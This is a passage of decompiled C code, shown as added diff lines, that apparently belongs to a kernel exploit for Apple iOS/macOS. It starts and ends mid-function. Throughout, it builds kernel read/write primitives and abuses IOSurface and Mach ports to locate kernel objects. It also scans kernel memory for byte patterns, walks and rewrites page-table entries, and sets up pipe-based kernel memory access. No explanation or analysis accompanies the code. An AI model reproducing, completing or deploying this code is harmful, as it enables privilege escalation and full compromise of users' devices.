*)&v83 |= v84; + *__handle = v83; + } + } + ++v80; + } + while ( v80 != v79 ); + } + else + { + v83 = *__handle; + } + v92 = (uint8x8_t)vcnt_s8(v83); + v92.i16[0] = vaddlv_u8(v92); + } + while ( (_DWORD)v79 != v92.i32[0] ); + v93 = sub_FD18((_DWORD *)v4, (__int64)v64); + if ( v93 ) + v69 = 40; + else + v69 = 41; + if ( v93 ) + v10 = v93; + else + v10 = 708625; +LABEL_129: + if ( v69 == 40 ) + goto LABEL_196; + v257 = v62++ >= 0xF; + if ( v257 ) + goto LABEL_196; + continue; + } + break; + } + v10 = 708609; +LABEL_196: + v103 = *(_DWORD *)(v4 + 13440); + if ( v103 ) + { + v104 = 0; + v105 = *(_QWORD *)(v4 + 13432); + do + { + v106 = *(_DWORD *)(v105 + 4 * v104); + if ( v106 + 1 >= 2 ) + { + mach_port_deallocate(mach_task_self_, v106); + v105 = *(_QWORD *)(v4 + 13432); + *(_DWORD *)(v105 + 4 * v104) = 0; + v103 = *(_DWORD *)(v4 + 13440); + } + ++v104; + } + while ( v104 < v103 ); + } + v107 = 0; + v24 = v4 + 13480; + do + { + v108 = *(_DWORD *)(v24 + v107); + if ( v108 + 1 >= 2 ) + { + mach_port_mod_refs(mach_task_self_, v108, 1u, -1); + *(_DWORD *)(v24 + v107) = 0; + } + v107 += 4; + } + while ( v107 != 64 ); +LABEL_205: + if ( (_DWORD)v10 ) + return v10; + *(_QWORD *)(v5 + 80) = v4; + *(_QWORD *)(v5 + 48) = sub_F860; + addr_v24 = *(_QWORD *)(v4 + 11280); +LABEL_207: + v305 = 163855; + v10 = 163878; + if ( !validate_addr(v5, addr_v24) ) + return v10; + v109 = kreadptr((struct_krwCtx *)v5, addr_v24); + if ( !v109 ) + return v10; + *(_QWORD *)(v5 + 416) = v109; + v110 = mach_host_self(); + ipc_port = task_self_get_ipc_port((struct_krwCtx *)v5, v110); + if ( !ipc_port ) + return 163854; + *(_QWORD *)(v5 + 424) = ipc_port; + v112 = 24; + if ( *(int *)(v5 + 320) <= 8791 ) + v113 = 24; + else + v113 = 16; + if ( *(int *)(v5 + 320) <= 8791 ) + v114 = 104; + else + v114 = 96; + if ( *(int *)(v5 + 320) <= 8791 ) + v112 = 16; + v295 = v112; + v115 = sub_33304((struct_krwCtx *)v5, addr_v24); + if ( !v115 ) + return 163878; + if ( !kread64_outptr((struct_krwCtx *)v5, v113 + v115, (unsigned __int64 *)&outputStruct[0].msgh_bits) ) + return v305; + v116 = *(_QWORD *)&outputStruct[0].msgh_bits; + if ( !*(_QWORD *)&outputStruct[0].msgh_bits ) + return 708625; + LODWORD(v10) = 708625; + while ( 1 ) + { + if ( !validate_addr(v5, v116) ) + goto LABEL_246; + if ( !kread32_outptr(v5, *(_QWORD *)&outputStruct[0].msgh_bits + v114, a1) ) + goto LABEL_245; + if ( a1[0] ) + { + v117 = *(_QWORD *)&outputStruct[0].msgh_bits; + goto LABEL_228; + } + if ( !kread64_outptr( + (struct_krwCtx *)v5, + *(_QWORD *)&outputStruct[0].msgh_bits + v113, + (unsigned __int64 *)&name.msgh_bits) ) + goto LABEL_245; + v117 = *(_QWORD *)&outputStruct[0].msgh_bits; + if ( *(_QWORD *)&outputStruct[0].msgh_bits == *(_QWORD *)&name.msgh_bits ) + break; +LABEL_228: + v118 = kread64_outptr((struct_krwCtx *)v5, v117 + v113, (unsigned __int64 *)&outputStruct[0].msgh_bits); + if ( v118 ) + v10 = (unsigned int)v10; + else + v10 = 163855; + if ( v118 ) + { + v116 = *(_QWORD *)&outputStruct[0].msgh_bits; + if ( *(_QWORD *)&outputStruct[0].msgh_bits ) + continue; + } + goto LABEL_247; + } + if ( !kread64_outptr( + (struct_krwCtx *)v5, + *(_QWORD *)&outputStruct[0].msgh_bits + v295, + (unsigned __int64 *)&name.msgh_bits) ) + goto LABEL_245; + if ( !validate_addr(v5, *(__int64 *)&name.msgh_bits) ) + goto LABEL_246; + if ( *(int *)(v5 + 320) < 8792 ) + { +LABEL_244: + v10 = 0; + v24 = *(_QWORD *)&name.msgh_bits; + goto LABEL_247; + } + if ( kread64_outptr((struct_krwCtx *)v5, *(_QWORD *)&name.msgh_bits + 8LL, (unsigned __int64 *)&name.msgh_bits) ) + { + if ( validate_addr(v5, *(__int64 *)&name.msgh_bits) ) + goto LABEL_244; +LABEL_246: + v10 = 163878; + } + else + { +LABEL_245: + v10 = 163855; + } +LABEL_247: + if ( (_DWORD)v10 ) + return v10; + *(_QWORD *)(v5 + 6616) = v24; + v10 = sub_211F4(v5, 0, *(_QWORD *)(v5 + 424), (unsigned __int64 *)(v5 + 6608)); + if ( (_DWORD)v10 ) + return v10; + v10 = sub_39A24(v5, 0); + if ( (_DWORD)v10 ) + return v10; + v120 = *(_QWORD *)(v5 + 344); + if ( v120 > 0x27120F04B00002LL ) + { + if ( (*(_BYTE *)v5 & 0x20) != 0 ) + { + v10 = sub_A99C(v5); + if ( (_DWORD)v10 ) + return v10; + v10 = sub_27808(v5, 0); + if ( (_DWORD)v10 ) + return v10; + *(_QWORD *)(v5 + 48) = 0; + v10 = sub_288D4((struct_krwCtx *)v5); + if ( (_DWORD)v10 ) + return v10; + v121 = (_QWORD *)(v5 + 64); + goto LABEL_256; + } + goto LABEL_372; + } + if ( v120 > 0x225C1E804FFFFFLL + || v120 >= 0x225C1980500000LL && ((*(_DWORD *)v5 & 0x5584001) == 0 || (*(_DWORD *)v5 & 1) != 0) ) + { +LABEL_372: + v319[0] = 0; + v174 = vm_page_size; + *(_QWORD *)&outputStruct[0].msgh_bits = vm_page_size; + *(_QWORD *)&name.msgh_bits = 0; + memory_entry = mach_make_memory_entry(mach_task_self_, (vm_size_t *)&outputStruct[0].msgh_bits, 0, 131075, v319, 0); + if ( !memory_entry ) + { + v175 = port_name_to_kaddr((struct_krwCtx *)v5, v319[0]); + v10 = 163878; + if ( !v175 ) + return v10; + v176 = v175; + v177 = sub_21844(v5, v175); + if ( !v177 ) + return v10; + v178 = v177; + v179 = sub_33A88((struct_krwCtx *)v5, v176, 0); + v10 = 163878; + if ( !v179 ) + return v10; + v180 = v179; + __handlec = sub_21844(v5, v179); + if ( !__handlec ) + return v10; + v10 = sub_FE30(v4); + if ( (_DWORD)v10 ) + return v10; + v10 = sub_FF10(v5, *(_QWORD *)(v4 + 11288), __handlec & ~*(_QWORD *)(v5 + 392), a1); + if ( (_DWORD)v10 ) + return v10; + memory_entry = vm_map( + mach_task_self_, + (vm_address_t *)&name.msgh_bits, + v174, + 0, + 1, + *(_DWORD *)(v4 + 13552), + 0, + 0, + 3, + 3, + 2u); + if ( !memory_entry ) + { + v181 = (*(_QWORD *)(v5 + 392) & v180) + *(_QWORD *)&name.msgh_bits; + v10 = 163893; + if ( *(_DWORD *)v181 != *(_DWORD *)(v181 + 4) ) + return v10; + if ( *(_QWORD *)(v181 + 24) != *(_QWORD *)&outputStruct[0].msgh_bits ) + return v10; + v10 = sub_FF10(v5, v181, 0, 0); + if ( (_DWORD)v10 ) + return v10; + *(_QWORD *)(v181 + 24) = -1; + memory_entry = vm_deallocate(mach_task_self_, *(vm_address_t *)&name.msgh_bits, v174); + if ( !memory_entry ) + { + v10 = sub_FF10(v5, *(_QWORD *)(v4 + 11288), v178 & ~*(_QWORD *)(v5 + 392), 0); + if ( (_DWORD)v10 ) + return v10; + memory_entry = vm_map( + mach_task_self_, + (vm_address_t *)&name.msgh_bits, + v174, + 0, + 1, + *(_DWORD *)(v4 + 13552), + 0, + 0, + 3, + 3, + 2u); + if ( !memory_entry ) + { + v182 = *(_QWORD *)&name.msgh_bits; + v183 = (*(_QWORD *)(v5 + 392) & v176) + *(_QWORD *)&name.msgh_bits; + if ( *(_QWORD *)(v183 + 32) != *(_QWORD *)&outputStruct[0].msgh_bits ) + return 163857; + *(_QWORD *)(v183 + 32) = -1; + memory_entry = vm_deallocate(mach_task_self_, v182, v174); + if ( !memory_entry ) + { + *(_DWORD *)(v5 + 88) = v319[0]; + v10 = sub_27808(v5, 0); + if ( (_DWORD)v10 ) + return v10; + *(_QWORD *)(v5 + 80) = 0; + *(_QWORD *)(v5 + 48) = 0; + v10 = sub_288D4((struct_krwCtx *)v5); + if ( (_DWORD)v10 ) + return v10; + goto LABEL_257; + } + } + } + } + } + return memory_entry | 0x80000000; + } + v316 = 0; + v312 = 0; + v184 = 288; + if ( *(int *)(v5 + 320) > 8791 ) + v184 = 264; + theDictd = (CFMutableDictionaryRef)v184; + v185 = 280; + if ( *(int *)(v5 + 320) > 8791 ) + v185 = 256; + v280 = vm_page_size; + v285 = v185; + *(_OWORD *)a1 = 0u; + v321 = 0u; + v186 = (unsigned int)sub_24D64("IOSurfaceRoot"); + v10 = 163854; + if ( v186 + 1 < 2 ) + return v10; + v187 = v186; + if ( IOServiceOpen(v186, mach_task_self_, 0, (io_connect_t *)a1) + || (v297 = task_self_get_ipc_port((struct_krwCtx *)v5, a1[0])) == 0 ) + { + v188 = 0; + v297 = 0; + v278 = 0; + } + else + { + v215 = 0; + while ( 1 ) + { + kobject = maybe_ipc_port_get_kobject((struct_krwCtx *)v5, v297); + if ( !kobject ) + { + v188 = 0; + kobject = 0; + v278 = 0; + v10 = 163877; + goto LABEL_402; + } + if ( *(unsigned int *)(v5 + 384) - (*(_QWORD *)(v5 + 392) & kobject) >= 0x200 ) + { + v10 = 0; + v188 = a1[v215]; + v278 = 1; + goto LABEL_402; + } + if ( v215 == 7 ) + { + v188 = 0; + v278 = 0; + v10 = 708625; + goto LABEL_402; + } + if ( IOServiceOpen(v187, mach_task_self_, 0, (io_connect_t *)&a1[v215 + 1]) ) + break; + v216 = task_self_get_ipc_port((struct_krwCtx *)v5, a1[++v215]); + v297 = v216; + if ( !v216 ) + { + v188 = 0; + v297 = 0; + goto LABEL_482; + } + } + v188 = 0; +LABEL_482: + v278 = 0; + } + v10 = 163854; +LABEL_402: + for ( n = 0; n != 8; ++n ) + { + v190 = a1[n]; + if ( v190 + 1 >= 2 && v190 != v188 ) + { + IOServiceClose(v190); + a1[n] = 0; + } + } + IOObjectRelease(v187); + if ( !v278 ) + return v10; + v273 = (__int64)theDictd + kobject; + v270 = kobject + v285; + v192 = 7; + while ( 2 ) + { + v279 = v192; + outputStructCnt = 3936; + __handled = dlopen("/System/Library/Frameworks/IOSurface.framework/IOSurface", 1); + if ( !__handled ) + return 110593; + v193 = (const void **)dlsym(__handled, "kIOSurfaceIsGlobal"); + if ( !v193 ) + goto LABEL_485; + v194 = *v193; + if ( !*v193 ) + goto LABEL_485; + v195 = (const void **)dlsym(__handled, "kIOSurfaceWidth"); + if ( !v195 ) + goto LABEL_485; + v196 = *v195; + if ( !*v195 ) + goto LABEL_485; + v197 = (const void **)dlsym(__handled, "kIOSurfaceHeight"); + if ( !v197 ) + goto LABEL_485; + v198 = *v197; + if ( !*v197 ) + goto LABEL_485; + theDicte = CFDictionaryCreateMutable(0, 0, &kCFTypeDictionaryKeyCallBacks, &kCFTypeDictionaryValueCallBacks); + if ( !theDicte ) + { + v6 = 708617; +LABEL_485: + dlclose(__handled); + return v6; + } + CFDictionarySetValue(theDicte, v194, kCFBooleanFalse); + sub_101AC(theDicte, v196); + sub_101AC(theDicte, v198); + v199 = IOCFSerialize(theDicte, 1u); + if ( v199 ) + { + v200 = v199; + v201 = *(_DWORD *)(v5 + 320); + if ( v201 >= 8792 ) + { + outputStructCnt = 2664; + goto LABEL_427; + } + if ( v201 < 8019 ) + { + v203 = 0; + v202 = 0; + } + else + { +LABEL_427: + *(_QWORD *)v319 = 0; + v202 = 1; + v203 = v319; + } + BytePtr = CFDataGetBytePtr(v199); + Length = CFDataGetLength(v200); + if ( IOConnectCallMethod( + v188, + 0, + (const uint64_t *)v203, + v202, + BytePtr, + Length, + 0, + 0, + outputStruct, + &outputStructCnt) ) + { + v10 = 4097; + } + else + { + v206 = v285; + if ( outputStruct[1].msgh_bits < 0x10000 ) + v206 = outputStruct[1].msgh_bits; + LODWORD(v285) = v206; + if ( outputStruct[1].msgh_bits >= 0x10000 ) + v10 = 163857; + else + v10 = 0; + } + CFRelease(v200); + } + else + { + v10 = 708617; + } + CFRelease(theDicte); + dlclose(__handled); + if ( (_DWORD)v10 ) + return v10; + if ( !(unsigned int)kreadbuf_last_1((struct_krwCtx *)v5, v273, 8, &v313) ) + return 163855; + if ( v313 <= (unsigned int)v285 ) + return 163857; + if ( !kread64_outptr((struct_krwCtx *)v5, v270, (unsigned __int64 *)&v317) ) + return 163855; + if ( !validate_addr(v5, v317) ) + return 163878; + if ( !kread64_outptr((struct_krwCtx *)v5, v317 + (unsigned int)(8 * v285), (unsigned __int64 *)&v316) ) + return 163855; + if ( !validate_addr(v5, v316) ) + return 163878; + if ( !kread64_outptr((struct_krwCtx *)v5, v316 + 64, (unsigned __int64 *)&v315) ) + return 163855; + if ( !validate_addr(v5, v315) ) + return 163878; + v207 = *(_QWORD *)(v5 + 392); + v208 = v207 & v315; + if ( *(unsigned int *)(v5 + 384) - (v207 & (unsigned __int64)v315) <= 0x4FF ) + { + v192 = v279 - 1; + if ( v279 ) + continue; + } + break; + } + sub_2183C(v5, v315 & ~v207, (__int64)&name); + v10 = 163878; + if ( !v209 ) + return v10; + __handlee = v311; + v210 = *(_QWORD *)(v5 + 392); + sub_2183C(v5, kobject & ~v210, (__int64)&name); + if ( !v211 ) + return v10; + v212 = v311; + v10 = sub_FE30(v4); + if ( (_DWORD)v10 ) + return v10; + v10 = sub_1003C( + (struct_krwCtx *)v5, + *(_QWORD *)(v4 + 11288), + *(_QWORD *)(v4 + 13560), + 0, + *(_QWORD *)(v4 + 11288) + 192LL, + *(_QWORD *)(v4 + 13560) + 192LL, + v212 & 0xFFFFFFFFC000LL); + if ( (_DWORD)v10 ) + return v10; + memory_entry = vm_map(mach_task_self_, &v312, v280, 0, 1, *(_DWORD *)(v4 + 13552), 0, 0, 3, 3, 2u); + if ( memory_entry ) + return memory_entry | 0x80000000; + v213 = v312 + (v210 & kobject); + v10 = 163857; + if ( *(_QWORD *)(v213 + 88) || *(_BYTE *)(v213 + 153) ) + return v10; + if ( !validate_addr(v5, *(_QWORD *)(v213 + 136)) ) + return 163878; + *(_QWORD *)(v213 + 136) = kobject + 80; + *(_BYTE *)(v213 + 153) = 64; + memory_entry = vm_deallocate(mach_task_self_, v312, v280); + if ( memory_entry ) + return memory_entry | 0x80000000; + v10 = sub_1003C( + (struct_krwCtx *)v5, + *(_QWORD *)(v4 + 11288), + *(_QWORD *)(v4 + 13560), + 1, + *(_QWORD *)(v4 + 11288) + 192LL, + *(_QWORD *)(v4 + 13560) + 192LL, + __handlee & 0xFFFFFFFFC000LL); + if ( (_DWORD)v10 ) + return v10; + memory_entry = vm_map(mach_task_self_, &v312, v280, 0, 1, *(_DWORD *)(v4 + 13552), 0, 0, 3, 3, 2u); + if ( memory_entry ) + return memory_entry | 0x80000000; + *(_DWORD *)(v5 + 232) = v188; + v214 = v312; + *(_QWORD *)(v5 + 240) = v315; + *(_QWORD *)(v5 + 248) = v214; + *(_QWORD *)(v5 + 256) = v280; + *(_QWORD *)(v5 + 264) = v208; + *(_DWORD *)(v5 + 272) = v285; + *(_DWORD *)(v5 + 276) = *(_DWORD *)(v4 + 13552); + *(_DWORD *)(v4 + 13552) = 0; + v10 = 163841; + if ( v188 + 1 < 2 || !v214 || !v280 ) + return v10; + if ( !(unsigned int)sub_35E18(v5, v297, 16) ) + return 163856; + *(_QWORD *)(v5 + 80) = 0; + v121 = (_QWORD *)(v5 + 48); +LABEL_256: + *v121 = 0; +LABEL_257: + v122 = *(_QWORD *)(v5 + 424); + if ( !v122 ) + return 163848; + if ( !kread32_outptr(v5, v122, outputStruct) || (outputStruct[0].msgh_bits & 0x3FF) - 3 >= 2 ) + return v305; + v123 = *(_DWORD *)(v4 + 13856); + if ( !v123 ) + { +LABEL_270: + v10 = 0; + goto LABEL_271; + } + v124 = 0; + v125 = v4 + 13600; + while ( 2 ) + { + v126 = *(_DWORD *)(v125 + 4 * v124); + if ( v126 + 1 < 2 ) + { +LABEL_269: + if ( ++v124 >= (unsigned __int64)v123 ) + goto LABEL_270; + continue; + } + break; + } + v127 = port_name_to_kaddr((struct_krwCtx *)v5, *(_DWORD *)(v125 + 4 * v124)); + if ( !v127 ) + { + v10 = 163848; + goto LABEL_271; + } + v128 = sub_33A88((struct_krwCtx *)v5, v127, 1); + if ( !v128 ) + { + v10 = 163878; + goto LABEL_271; + } + v129 = v128 + 56; + if ( !kread64_internal((struct_krwCtx *)v5, v128 + 56, outputStruct) ) + { + v10 = 163855; + goto LABEL_271; + } + if ( !*(_QWORD *)&outputStruct[0].msgh_bits || sub_288A4(v5, v129, 0) ) + { + mach_port_deallocate(mach_task_self_, v126); + *(_DWORD *)(v125 + 4 * v124) = 0; + v123 = *(_DWORD *)(v4 + 13856); + goto LABEL_269; + } + v10 = 163856; +LABEL_271: + v130 = 0; + *(_DWORD *)(v4 + 13856) = 0; + __handleb = (char *)(v4 + 192); + v131 = v4 + 64; + while ( 2 ) + { + theDictc = (CFMutableDictionaryRef)(v4 + 688 * v130 + 16); + v293 = *(_QWORD *)theDictc; + if ( *(_QWORD *)theDictc ) + { + v296 = *(_QWORD *)(v4 + 688 * v130 + 32); + if ( v296 ) + { + v132 = v4 + 688 * v130; + v272 = *(_DWORD *)(v132 + 56); + v284 = *(_QWORD *)(v132 + 24); + if ( *(_DWORD *)v4 == 3 ) + { + v133 = *(_DWORD *)(v4 + 688 * v130 + 52); + if ( v133 + 1 >= 2 ) + { + v136 = port_name_to_kaddr((struct_krwCtx *)v5, v133); + if ( !v136 ) + { + v10 = 163848; + break; + } + v137 = sub_33A88((struct_krwCtx *)v5, v136, 1); + if ( !v137 ) + { +LABEL_488: + v10 = 163878; + break; + } + v138 = v137 + 56; + if ( !kread64_internal((struct_krwCtx *)v5, v137 + 56, outputStruct) ) + { +LABEL_487: + v10 = 163855; + break; + } + if ( *(_QWORD *)&outputStruct[0].msgh_bits && !sub_288A4(v5, v138, 0) ) + { +LABEL_370: + v10 = 163856; + break; + } + } + else + { + v134 = sub_33B98((_DWORD *)v5, mach_task_self_, v293); + if ( !v134 ) + { + v10 = 163857; + break; + } + v135 = v134 + 56; + if ( !kread64_internal((struct_krwCtx *)v5, v134 + 56, outputStruct) ) + goto LABEL_487; + if ( *(_QWORD *)&outputStruct[0].msgh_bits && !sub_288A4(v5, v135, 0) ) + goto LABEL_370; + if ( v284 ) + *(_DWORD *)(v284 + v293) = 0; + } + } + if ( !krw_ctx_has_flag((struct_krwCtx *)v5, 85475329) ) + { + outputStructCnt = 0; + has_flag = krw_ctx_has_flag((struct_krwCtx *)v5, 0x8000); + if ( has_flag ) + { + v265 = 0xFFFFFFFFF000LL; + v267 = 4095; + v277 = 4096; + } + else + { + v277 = *(unsigned int *)(v5 + 384); + v265 = 0xFFFFFFFFC000LL; + v267 = *(_QWORD *)(v5 + 392); + } + v151 = *(_QWORD *)(v4 + 13568); + if ( v151 && *(_QWORD *)(v4 + 13576) ) + { + *(_QWORD *)v319 = *(_QWORD *)(v4 + 13576); + *(_QWORD *)a1 = v151; + } + else + { + sub_39B70(&name, (struct_krwCtx *)v5); + outputStruct[0] = name; + if ( has_flag ) + v152 = "29 01 00 8A .. .. .. .. .. .. .. .. 29 01 0A CB"; + else + v152 = "08 7C 72 92 .. .. .. .. .. .. .. .. 08 01 09 CB"; + v153 = kernel_pattern_scan((__int64)&name, v152, 0); + if ( !v153 ) + goto LABEL_499; + v154 = sub_1E854(*(__int64 **)(v5 + 6648), (__int64 *)(v153 + 4)); + *(_QWORD *)a1 = v154; + if ( !v154 ) + goto LABEL_499; + if ( !kread64_internal((struct_krwCtx *)v5, v154, a1) ) + goto LABEL_495; + if ( !*(_QWORD *)a1 + || (v155 = sub_1E854(*(__int64 **)(v5 + 6648), (__int64 *)(v153 + 20)), (*(_QWORD *)v319 = v155) == 0) ) + { + v6 = 163878; + goto LABEL_499; + } + if ( !kread64_outptr((struct_krwCtx *)v5, v155, (unsigned __int64 *)v319) ) + { +LABEL_495: + v6 = 163855; +LABEL_499: + v10 = v6; + break; + } + if ( !validate_addr(v5, *(__int64 *)v319) ) + { + v6 = 163878; + goto LABEL_499; + } + *(_QWORD *)(v4 + 13568) = *(_QWORD *)a1; + *(_QWORD *)(v4 + 13576) = *(_QWORD *)v319; + } + if ( v284 ) + { + v156 = 0; + v263 = 0; + v157 = 0; + do + { + if ( v157 && (v157 & (unsigned __int64)v267) + 8 < v277 ) + { + v157 += 8; + if ( !(unsigned int)kreadbuf_last_1((struct_krwCtx *)v5, v157, 8, &v317) ) + goto LABEL_487; + v158 = v317; + } + else + { + *(_QWORD *)&outputStruct[0].msgh_bits = 0; + *(_QWORD *)&name.msgh_bits = 0; + v159 = krw_ctx_has_flag((struct_krwCtx *)v5, 0x8000); + v160 = 0xFFFFFFFFF000LL; + if ( !v159 ) + v160 = 0xFFFFFFFFC000LL; + v269 = v160; + v161 = sub_349C8((struct_krwCtx *)v5, mach_task_self_); + if ( !v161 ) + goto LABEL_488; + if ( !kread64_outptr((struct_krwCtx *)v5, v161, (unsigned __int64 *)&outputStruct[0].msgh_bits) ) + goto LABEL_487; + if ( (!*(_QWORD *)(v5 + 6256) || !*(_QWORD *)(v5 + 6264)) && !(unsigned int)sub_39B14((_QWORD *)v5) ) + { + v10 = 163843; + goto LABEL_500; + } + valuea = v293 + v156; + v162 = *(_QWORD *)&outputStruct[0].msgh_bits; + if ( v159 ) + { + v163 = valuea >> 30; + v164 = 255; + } + else + { + v165 = krw_ctx_has_flag((struct_krwCtx *)v5, 83886088); + v163 = 2047; + if ( !v165 ) + v163 = 7; + v164 = valuea >> 36; + } + if ( !(unsigned int)kreadbuf_last_1((struct_krwCtx *)v5, v162 + 8 * (v163 & v164), 8, &name) ) + goto LABEL_487; + if ( (~LOBYTE(name.msgh_bits) & 3) != 0 ) + goto LABEL_363; + v166 = sub_38378(v5, *(_QWORD *)(v5 + 6256), *(_QWORD *)(v5 + 6264), *(_QWORD *)&name.msgh_bits & v269); + if ( !v166 ) + goto LABEL_488; + v167 = (valuea >> 21) & 0x1FF; + if ( !v159 ) + v167 = (valuea >> 25) & 0x7FF; + if ( !(unsigned int)kreadbuf_last_1((struct_krwCtx *)v5, v166 + 8 * v167, 8, &name) ) + goto LABEL_487; + if ( (~LOBYTE(name.msgh_bits) & 3) != 0 ) + { +LABEL_363: + v157 = 0; + goto LABEL_364; + } + v263 = *(_QWORD *)&name.msgh_bits & v269; + v168 = sub_38378(v5, *(_QWORD *)(v5 + 6256), *(_QWORD *)(v5 + 6264), *(_QWORD *)&name.msgh_bits & v269); + if ( !v168 ) + goto LABEL_488; + v169 = (valuea >> 12) & 0x1FF; + if ( !v159 ) + v169 = (valuea >> 14) & 0x7FF; + v157 = v168 + 8 * v169; + if ( !(unsigned int)kreadbuf_last_1((struct_krwCtx *)v5, v157, 8, &name) ) + goto LABEL_487; + v158 = *(_QWORD *)&name.msgh_bits; + v317 = *(_QWORD *)&name.msgh_bits; + } + if ( !v158 ) + goto LABEL_364; + v170 = v158 & v265; + if ( !v170 ) + goto LABEL_364; + if ( !(unsigned int)kreadbuf_last_1( + (struct_krwCtx *)v5, + 8LL * (unsigned int)((unsigned __int64)(v170 - *(_QWORD *)a1) >> vm_page_shift) + + *(_QWORD *)v319, + 8, + &v316) ) + goto LABEL_487; + v171 = v316 & 3; + if ( (v316 & 3) != 0 ) + { + if ( v171 == 2 ) + { + v172 = v293 + v156; + if ( (v316 & 0xFFFFFFFFFFFCLL | 0xFFFF000000000000LL) == v157 - (((v293 + v156) >> 9) & 0x18) ) + goto LABEL_364; + goto LABEL_367; + } + if ( v171 != 3 ) + goto LABEL_364; + } + v172 = v293 + v156; +LABEL_367: + if ( (*(_QWORD *)(v5 + 392) & v172) == 0 ) + { + v173 = sub_10214(v5, v4, v263); + if ( (_DWORD)v173 ) + { + v10 = v173; + goto LABEL_500; + } + } + if ( !(unsigned int)kwritebuf_last_1(v5, v157, (__int64)&outputStructCnt, 8) ) + goto LABEL_370; +LABEL_364: + v156 += v277; + } + while ( v156 < v284 ); + } + } + v139 = vm_deallocate(mach_task_self_, v293, v296); + if ( v139 || v272 + 1 > 1 && (v139 = mach_port_deallocate(mach_task_self_, v272)) != 0 ) + { + v10 = v139 | 0x80000000; + break; + } + for ( ii = 0; ii != 512; ii += 8 ) + { + v141 = *(_QWORD *)&__handleb[ii]; + if ( v141 ) + { + vm_deallocate(mach_task_self_, v141, vm_page_size); + *(_QWORD *)&__handleb[ii] = 0; + } + } + for ( jj = 0; jj != 128; jj += 8 ) + { + v143 = *(_QWORD *)(v131 + jj); + if ( v143 ) + { + vm_deallocate(mach_task_self_, v143, v296); + *(_QWORD *)(v131 + jj) = 0; + } + } + bzero(theDictc, 0x2B0u); + v10 = 0; + } + } + v144 = 0; + v145 = 1; + while ( 2 ) + { + v146 = v145; + v147 = v4 + 16 * v130 + 8 * v144; + v148 = *(_QWORD *)(v147 + 11024); + if ( !v148 ) + { +LABEL_304: + v145 = 0; + v144 = 1; + if ( (v146 & 1) == 0 ) + goto LABEL_307; + continue; + } + break; + } + v149 = vm_deallocate(mach_task_self_, v148, vm_page_size); + if ( !v149 ) + { + *(_QWORD *)(v147 + 11024) = 0; + goto LABEL_304; + } + v10 = v149 | 0x80000000; +LABEL_307: + ++v130; + __handleb += 688; + v131 += 688; + if ( v130 != 16 ) + continue; + break; + } +LABEL_500: + v217 = *v260; + if ( *v260 ) + { + v218 = 0; + v219 = v4 + 13892; + do + { + v220 = *(_DWORD *)(v219 + 4 * v218); + if ( v220 + 1 >= 2 ) + { + mach_port_deallocate(mach_task_self_, v220); + *(_DWORD *)(v219 + 4 * v218) = 0; + v217 = *v260; + } + ++v218; + } + while ( v218 < v217 ); + } + *v260 = 0; + v221 = *(_DWORD *)(v4 + 26184); + if ( v221 ) + { + v222 = 0; + v223 = v4 + 17992; + do + { + v224 = *(_QWORD *)(v223 + 8 * v222); + if ( v224 ) + { + vm_deallocate(mach_task_self_, v224, vm_page_size); + *(_QWORD *)(v223 + 8 * v222) = 0; + v221 = *(_DWORD *)(v4 + 26184); + } + ++v222; + } + while ( v222 < v221 ); + } + *(_DWORD *)(v4 + 26184) = 0; + v225 = *(_QWORD *)(v5 + 344); + if ( v225 <= 0x1F530F027FFFFFLL ) + { + if ( v225 >= 0x1C1B0A80100000LL && ((*(_DWORD *)v5 & 0x5584001) != 0 || v225 >= 0x1F530000000000LL) ) + goto LABEL_532; + *(_QWORD *)v319 = -1; + *(_QWORD *)a1 = -1; + pipe = fd_make_pipe(a1); + if ( !pipe ) + { + pipe = setup_two_fds(a1); + if ( !pipe ) + { + pipe = fd_make_pipe((int *)v319); + if ( !pipe ) + { + v236 = sub_33E8C((struct_krwCtx *)v5, mach_task_self_); + if ( v236 ) + { + v237 = v236; + pipe = sub_10534((_DWORD *)v5, v236, a1[0], (__int64 *)outputStruct); + if ( !pipe ) + { + pipe = sub_10534((_DWORD *)v5, v237, v319[0], (__int64 *)&name); + if ( !pipe ) + { + if ( kwrite64( + (struct_krwCtx *)v5, + *(_QWORD *)&outputStruct[0].msgh_bits + 16LL, + *(__int64 *)&name.msgh_bits) ) + { + pipe = 258052; + v238 = a1[0]; + v239 = a1[1]; + *(_DWORD *)(v5 + 6448) = a1[0]; + *(_DWORD *)(v5 + 6452) = v239; + v240 = v319[0]; + v241 = v319[1]; + *(_DWORD *)(v5 + 6456) = v319[0]; + *(_DWORD *)(v5 + 6460) = v241; + if ( v238 != -1 && v239 != -1 && v240 != -1 && v241 != -1 ) + { + pipe = sub_21200((struct_krwCtx *)v5, v238); + if ( !pipe ) + { + pipe = sub_21200((struct_krwCtx *)v5, *(_DWORD *)(v5 + 6452)); + if ( !pipe ) + { + pipe = sub_21200((struct_krwCtx *)v5, *(_DWORD *)(v5 + 6456)); + if ( !pipe ) + { + pipe = sub_21200((struct_krwCtx *)v5, *(_DWORD *)(v5 + 6460)); + if ( !pipe ) + { +LABEL_531: + v305 = pipe; + goto LABEL_547; + } + } + } + } + } + } + else + { + pipe = 163856; + } + } + } + } + else + { + pipe = 163878; + } + } + } + } + if ( a1[0] != -1 ) + close(a1[0]); + if ( a1[1] != -1 ) + close(a1[1]); + if ( v319[0] != -1 ) + close(v319[0]); + if ( v319[1] != -1 ) + close(v319[1]); + *(_QWORD *)(v5 + 6456) = -1; + *(_QWORD *)(v5 + 6448) = -1; + goto LABEL_531; + } + v226 = (*(_DWORD *)v5 & 0x5584001) != 0 || v225 > 0x1F5418FFFFFFFFLL; + if ( !v226 ) + { +LABEL_532: + *(_QWORD *)&outputStruct[0].msgh_bits = -1; + v228 = sub_32F1C((struct_krwCtx *)v5); + if ( v228 ) + { + v229 = v228; + v314 = 0; + v230 = fd_make_pipe((int *)outputStruct); + if ( v230 || (v230 = setup_two_fds((int *)outputStruct)) != 0 ) + { + v231 = -1; + v305 = v230; + goto LABEL_536; + } + sub_1F714((__int64)outputStruct, &v314, 4u); + sub_1F770((int *)outputStruct, &v314, 4u); + v233 = socket(2, 2, 0); + if ( v233 == -1 ) + { + v242 = *__error(); + v243 = *__error(); + if ( v242 < 0 ) + v243 = -v243; + v305 = v243 | 0x40000000; + v231 = -1; +LABEL_536: + v232 = -1; + goto LABEL_537; + } + v231 = v233; + v234 = open("/private/etc/group", 0); + if ( v234 == -1 ) + { + v244 = *__error(); + v245 = *__error(); + if ( v244 < 0 ) + v245 = -v245; + v305 = v245 | 0x40000000; + v232 = -1; + goto LABEL_537; + } + v232 = v234; + if ( !kread64_outptr((struct_krwCtx *)v5, *(_QWORD *)(v4 + 11280) + v229, (unsigned __int64 *)&v317) ) + goto LABEL_537; 